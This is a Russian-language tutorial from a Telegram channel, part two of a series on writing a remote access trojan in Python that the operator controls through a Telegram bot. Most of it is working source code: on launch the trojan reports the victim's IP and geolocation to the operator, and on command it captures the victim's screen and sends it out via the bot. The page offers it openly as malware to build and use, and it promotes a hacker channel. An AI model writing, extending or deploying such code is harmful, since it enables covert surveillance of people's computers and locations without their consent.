Пишем RAT на Python. 2 Часть.
BLACK CODEСоздание RAT с управлением через Telegram. Часть 2.

BLACK CODE. Авторский контент.
Всем привет! Это канал BLACK CODE. Это вторая часть по созданию "КРЫСЫ" на Python. Сегодня мы уже немного поработаем над самим ратником.
В первой части мы совсем не делали функционал для нашего RAT'ника, а только сделали основу для бота. Сегодня мы уже займёмся функционалом.
А начнём мы с новой функции
Функция new_target()
Эта функция нужна для того, чтобы когда пользователь запустил ратник, то нам бы отправилось сообщение, где предоставляются данные.
Она выглядит так:
def new_target(): # Функция для нового пользователя RATника
# Назначем переменные заранее, чтобы избежать лишнего кода
country = '-'
region = '-'
city = '-'
timezone = '-'
zipcode = '-'
loc = ''
target_ip = requests.get('https://ip.42.pl/raw').text # Получение IP нового юзера
url = 'https://ipinfo.io/' + target_ip + '/json' # Составляем ссылку для информации по IP
json = requests.get(url).json() # Получаем json из нашей ссылки
if 'country' in json: # Если в нашем json указана страна, то...
country = json['country'] # переменной country присваивается значение страны IP
# Далее всё идёт по такой же схеме
if 'region' in json:
region = json['region']
if 'city' in json:
city = json['city']
if 'timezone' in json:
timezone = json['timezone']
if 'postal' in json:
zipcode = json['postal']
if 'loc' in json:
loc = json['loc']
target_date = datetime.today().strftime('%Y/%m/%d') # Получаем дату у пользователя
target_time = datetime.today().strftime('%H:%M') # Получаем время у пользователя
# Составляем сообщение для отправки ботом
new_target_message = 'Target Connected!\nIP: ' + target_ip + '\nCountry: ' + country
new_target_message += '\nRegion: ' + region + '\nCity: ' + city + '\nTimeZone: ' + timezone
new_target_message += '\nZipCode: ' + zipcode + '\nLocation: ' + loc
new_target_message += '\nDate: ' + str(target_date) + '\nTime: ' + str(target_time)
# Бот отправляет нам сообщение
bot.send_message(user_id, new_target_message)
Вызываем функцию где-то после объявления переменной bot
import telebot
import requests
from datetime import datetime
token = '' # Вписываем Token вашего бота
user_id = '' # Вписываем ваш userid
def new_target(): # Функция для нового пользователя RATника
# Назначем переменные заранее, чтобы избежать лишнего кода
country = '-'
region = '-'
city = '-'
timezone = '-'
zipcode = '-'
loc = ''
target_ip = requests.get('https://ip.42.pl/raw').text # Получение IP нового юзера
url = 'https://ipinfo.io/' + target_ip + '/json' # Составляем ссылку для информации по IP
json = requests.get(url).json() # Получаем json из нашей ссылки
if 'country' in json: # Если в нашем json указана страна, то...
country = json['country'] # переменной country присваивается значение страны IP
# Далее всё идёт по такой же схеме
if 'region' in json:
region = json['region']
if 'city' in json:
city = json['city']
if 'timezone' in json:
timezone = json['timezone']
if 'postal' in json:
zipcode = json['postal']
if 'loc' in json:
loc = json['loc']
target_date = datetime.today().strftime('%Y/%m/%d') # Получаем дату у пользователя
target_time = datetime.today().strftime('%H:%M') # Получаем время у пользователя
# Составляем сообщение для отправки ботом
new_target_message = 'Target Connected!\nIP: ' + target_ip + '\nCountry: ' + country
new_target_message += '\nRegion: ' + region + '\nCity: ' + city + '\nTimeZone: ' + timezone
new_target_message += '\nZipCode: ' + zipcode + '\nLocation: ' + loc
new_target_message += '\nDate: ' + str(target_date) + '\nTime: ' + str(target_time)
# Бот отправляет нам сообщение
bot.send_message(user_id, new_target_message)
bot = telebot.TeleBot(token) # создаём бота
new_target()
@bot.message_handler(commands=['start']) # если была введена /start
def start_message(message): # создаём функцию для обработки /start, которая принимает сообщение
if str(message.chat.id) == user_id: # Если id пользователя, который прислал сообщение = вашему id, то ...
bot.send_message(message.chat.id, 'Hello!\nIm BlackRat\n\nAuthor: @blackcode_admin\nChannel: @blackcode_tg') # бот отправляет сообщение этому id
bot.polling(none_stop=True, interval=0, timeout=30) # зацикливание бота(без этой команды он не будет работать)
Вот, как это выглядит в боте:

Это сообщение отправилось только при запуске.
Добавим ещё функционала нашему ратнику, теперь он будет делать скриншоты и брать текущий IP с геолокацией.
Придётся установить 1 стороннюю библиотеку:
Termux/Linux/MacOS:
pip3 install Pillow
Windows:
pip install Pillow
Импортируем ещё 2 библиотеки:
import os from PIL import ImageGrab
Библиотека os — стандартная в питоне, так что устанавливать отдельно её не надо.
А из PIL мы импортируем только модуль ImageGrab, он нам нужен, чтобы делать скриншот экрана.
Теперь функция для обработки текста выглядит вот так:
@bot.message_handler(content_types=['text'])
def text_message(message):
if str(message.chat.id) == user_id: # Если айди пользователя = айди админа, то..
if message.text == 'Получить IP': # Если текст = Получить IP, то...
target_ip = requests.get('https://ip.42.pl/raw').text # Берём IP
bot.send_message(user_id, target_ip)
# Берём данные о IP
json = requests.get('https://ipinfo.io/' + target_ip + '/json').json()
if 'loc' in json: # Если 'loc' есть в жсоне, то...
loc = json['loc'] # loc = данные в джсоне
loc = loc.split(',') # Обрезаем данные по запятой
# Бот отправляет локацию в виде GoogleMaps
bot.send_location(user_id, float(loc[0]), float(loc[1]))
elif message.text == 'Скриншот Экрана':
# Прописываем путь + название
screen_name = 'C:\\Windows\\' + str(datetime.now()) + '.png'
# Делаем скриншот
screen = ImageGrab.grab()
# Сохраняем скриншот
screen.save(screen_name)
# Открываем скриншот, чтобы отправить
open_screen = open(screen_name, 'rb')
# Отправляем скриншот
bot.send_photo(user_id, open_screen)
# Закрываем открытый файл
open_screen.close()
# Удаялем файл из папки
os.remove(screen_name)
else: # Если пользователь ввёл что-то другое, то
# Бот отправляет сообщение, что не понимает
bot.send_message(user_id, 'Не понимаю тебя, напиши /help'
else: # Если ботом попытается пользоваться левый человек, то...
# Бот отправляет сообщение о том, что бот не для него :)
bot.send_message(message.chat.id, 'Sorry, but that bot not for you:)')
ВНИМАНИЕ! Только не надо копировать код отсюда, у вас будут ошибки, потому что тут плохо с табуляцией и будут ошибки. В конце статьи, будет ссылка на pastebin, где и будет весь код из этого урока.
Всё довольно просто, а если что-то не понятно, то я везде оставил комментарии с разъяснениями.
Тестирование ратника

Как видим, всё отлично работает. Скриншот присылается, IP и геолокация тоже.
Функционал пока слабоват, но это только второй урок, по мере новых уроков будем повышать функционал.
Полный код
Не стоит копировать код из Telegraph'а там теряется вся табуляция, могут быть ошибки, а может и вообще не работать.
Так что, вот код, я его выложил на pastebin, с него копировать можно.
КОД НА PASTEBIN ( кликабельно)
На этом всё. Мы создали уже хоть какой-то функционал, но это ещё оочень сыро, в следующих частях будет добавлять функционал нашему RAT'нику. Дальше - больше.
BLACK CODE, чернее только Vantablack.

Канал: BLACK CODE
Литература Хакера: @archivehacker
Лучший обменник криптовалюты в Telegram: Chatex
Админ: @blackcode_admin